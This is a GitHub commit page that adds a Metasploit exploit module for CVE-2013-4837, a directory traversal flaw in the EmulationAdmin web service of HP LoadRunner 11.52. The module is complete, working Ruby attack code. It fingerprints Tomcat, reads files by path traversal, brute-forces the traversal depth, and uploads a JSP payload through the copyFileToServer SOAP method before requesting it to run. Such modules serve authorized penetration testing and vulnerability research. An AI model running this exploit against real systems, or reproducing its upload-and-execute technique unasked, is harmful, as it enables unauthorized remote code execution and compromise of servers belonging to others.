Skip to content

Commit 230fcd8

Browse files
committed
Add module for zdi-13-259
1 parent 70f74ab commit 230fcd8

File tree

1 file changed

+249
-0
lines changed

1 file changed

+249
-0
lines changed
Lines changed: 249 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,249 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] }
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'HP LoadRunner EmulationAdmin Web Service Directory Traversal',
19+
'Description' => %q{
20+
This module exploits a directory traversal vulnerability on the version 11.52 of HP
21+
LoadRunner. The vulnerability exists on the EmulationAdmin web service, specifically
22+
in the copyFileToServer method, allowing to upload arbitrary files. This module has
23+
been tested successfully on HP LoadRunner 11.52 over Windows 2003 SP2.
24+
},
25+
'Author' =>
26+
[
27+
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
28+
'juan vazquez' # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'CVE', '2013-4837' ],
34+
[ 'OSVDB', '99231' ],
35+
[ 'BID', '63475' ],
36+
[ 'ZDI', '13-259' ],
37+
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03969437' ]
38+
],
39+
'Privileged' => true,
40+
'Platform' => 'win',
41+
'Arch' => ARCH_JAVA,
42+
'Targets' =>
43+
[
44+
[ 'HP LoadRunner 11.52', { } ],
45+
],
46+
'DefaultTarget' => 0,
47+
'DisclosureDate' => 'Oct 30 2013'))
48+
49+
register_options(
50+
[
51+
Opt::RPORT(8080),
52+
# By default files dropped into C:\windows\system32\null\
53+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 3 ]),
54+
# By default HP LoadRunner installed on C:\Program Files\HP\LoadRunner
55+
OptString.new('INSTALLPATH', [ true, 'HP LoadRunner Install Path (from the root folder)', "Program Files\\HP\\LoadRunner" ])
56+
], self.class)
57+
end
58+
59+
def check
60+
depth = datastore['DEPTH']
61+
install_path = datastore['INSTALLPATH']
62+
63+
print_status("#{peer} - Detecting tomcat version...")
64+
tomcat_version = get_tomcat_version
65+
66+
if tomcat_version
67+
print_status("#{peer} - Tomcat #{tomcat_version} detected... Verifying traversal...")
68+
location = ""
69+
location << install_path
70+
location << "\\" unless install_path.ends_with("\\") or install_path.ends_with("/")
71+
location << "apache-tomcat-#{tomcat_version}\\webapps\\ServiceEmulation"
72+
73+
res = read_file(depth, location, "index.jsp")
74+
75+
if res and res.code == 200 and res.body.to_s =~ /HP Service Emulation/
76+
print_good("#{peer} - Traversal exists and parameters are correct...")
77+
return Exploit::CheckCode::Vulnerable
78+
elsif res and res.code == 500 and res.body.to_s =~ /FileNotFoundException/
79+
print_warning("#{peer} - Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...")
80+
return Exploit::CheckCode::Appears
81+
else
82+
print_status("#{peer} - Failed to verify the directory traversal...")
83+
end
84+
else
85+
print_error("#{peer} - Tomcat version not detected...")
86+
end
87+
88+
print_status("#{peer} - Checking if the vulnerable web service and method exist...")
89+
res = send_request_cgi({
90+
'uri' => normalize_uri('ServiceEmulation', 'services', 'EmulationAdmin'),
91+
'vars_get' => { 'wsdl' => 1 }
92+
})
93+
94+
if res and res.code == 200 and res.body.to_s =~ /wsdl.*EmulationAdmin/ and res.body.to_s =~ /copyFileToServerRequest/
95+
return Exploit::CheckCode::Detected
96+
end
97+
98+
return Exploit::CheckCode::Safe
99+
end
100+
101+
def exploit
102+
depth = datastore['DEPTH']
103+
install_path = datastore['INSTALLPATH']
104+
105+
print_status("#{peer} - Retrieving the Tomcat version used...")
106+
tomcat_version = get_tomcat_version
107+
108+
if tomcat_version.nil?
109+
fail_with(Failure::NoTarget, "#{peer} - Failed to retrieve the Tomcat version used")
110+
else
111+
print_good("#{peer} - Tomcat #{tomcat_version} found")
112+
end
113+
114+
print_status("#{peer} - Verifying parameters to exploit the directory traversal...")
115+
brute_force = false
116+
location = ""
117+
location << install_path
118+
location << "\\" unless install_path.ends_with("\\") or install_path.ends_with("/")
119+
location << "apache-tomcat-#{tomcat_version}\\webapps\\ServiceEmulation"
120+
121+
res = read_file(depth, location, "index.jsp")
122+
123+
if res and res.code == 200 and res.body.to_s =~ /HP Service Emulation/
124+
print_good("#{peer} - Traversal parameters are correct")
125+
elsif res and res.code == 500 and res.body.to_s =~ /FileNotFoundException/
126+
print_error("#{peer} - Traversal parameters are incorrect, will try to brute force depth...")
127+
brute_force = true
128+
else
129+
fail_with(Failure::Unknown, "#{peer} - Unknown error while verifying the traversal parameters")
130+
end
131+
132+
if brute_force
133+
print_status("#{peer} - Trying to brute force the traversal depth...")
134+
depth = brute_force_depth(location)
135+
if depth.nil?
136+
fail_with(Failure::BadConfig, "#{peer} - Traversal parameters are incorrect, try setting DEPTH and INSTALLPATH")
137+
end
138+
print_good("#{peer} - Using #{depth} as depth length to exploit the traversal...")
139+
end
140+
141+
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
142+
143+
# It's uploading a JSP payload because AutoDeploy on the webapps directory isn't working on my tests
144+
print_status("#{peer} - Uploading the JSP payload...")
145+
res = upload_file(depth, location, jsp_name, payload.encoded)
146+
147+
if res and res.code == 200 and res.body.to_s =~ /copyFileToServerResponse/ and res.body.to_s !~ /faultcode/
148+
print_status("#{peer} - JSP payload uploaded successfully")
149+
register_files_for_cleanup("..\\..\\#{location}\\#{jsp_name}")
150+
else
151+
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
152+
end
153+
154+
print_status("#{peer} - Executing payload on #{normalize_uri('ServiceEmulation', 'services', 'EmulationAdmin', jsp_name)}...")
155+
156+
send_request_cgi({
157+
'uri' => normalize_uri('ServiceEmulation', jsp_name),
158+
'method' => 'GET'
159+
}, 1)
160+
end
161+
162+
def send_request_soap(soap_request)
163+
res = send_request_cgi({
164+
'uri' => normalize_uri(target_uri.path, 'ServiceEmulation', 'services', 'EmulationAdmin'),
165+
'method' => 'POST',
166+
'ctype' => 'text/xml; charset=UTF-8',
167+
'data' => soap_request,
168+
'headers' => {
169+
'SOAPAction' => '""',
170+
}
171+
})
172+
173+
return res
174+
end
175+
176+
def upload_file(traversal_depth, location, file_name, contents)
177+
path = "..\\" * traversal_depth
178+
path << location
179+
path << "\\" unless location[-1] == "/" or location[-1] == "\\"
180+
path << file_name
181+
soap_request = <<-EOF
182+
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
183+
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
184+
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
185+
xmlns:ser="http://service.emulation.ws.mercury.com">
186+
<soapenv:Header/>
187+
<soapenv:Body>
188+
<ser:copyFileToServer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
189+
<in0 xsi:type="xsd:int">#{ 30000 + rand(30000) }</in0>
190+
<in1 xsi:type="xsd:string">#{path}</in1>
191+
<in2 xsi:type="xsd:base64Binary">#{Rex::Text.encode_base64(contents)}</in2>
192+
</ser:copyFileToServer>
193+
</soapenv:Body>
194+
</soapenv:Envelope>
195+
EOF
196+
197+
return send_request_soap(soap_request)
198+
end
199+
200+
def read_file(traversal_depth, location, file_name)
201+
path = "..\\" * traversal_depth
202+
path << location
203+
path << "\\" unless location[-1] == "/" or location[-1] == "\\"
204+
path << file_name
205+
206+
soap_request = <<-EOF
207+
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
208+
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
209+
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
210+
xmlns:ser="http://service.emulation.ws.mercury.com">
211+
<soapenv:Header/>
212+
<soapenv:Body>
213+
<ser:getFileContentAsLines soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
214+
<in0 xsi:type="xsd:int">#{ 30000 + rand(30000) }</in0>
215+
<in1 xsi:type="xsd:string">#{path}</in1>
216+
</ser:getFileContentAsLines>
217+
</soapenv:Body>
218+
</soapenv:Envelope>
219+
EOF
220+
221+
222+
return send_request_soap(soap_request)
223+
end
224+
225+
def brute_force_depth(location)
226+
10.times do |i|
227+
res = read_file(i, location, "index.jsp")
228+
229+
if res and res.code == 200 and res.body.to_s =~ /HP Service Emulation/
230+
return i
231+
end
232+
end
233+
234+
return nil
235+
end
236+
237+
def get_tomcat_version
238+
res = send_request_cgi({
239+
'uri' => normalize_uri('webdav')
240+
})
241+
242+
if res and res.code == 200 and res.body.to_s =~ /Apache Tomcat\/([\d\.]+)/
243+
return $1
244+
end
245+
246+
return nil
247+
end
248+
249+
end

0 commit comments

Comments
 (0)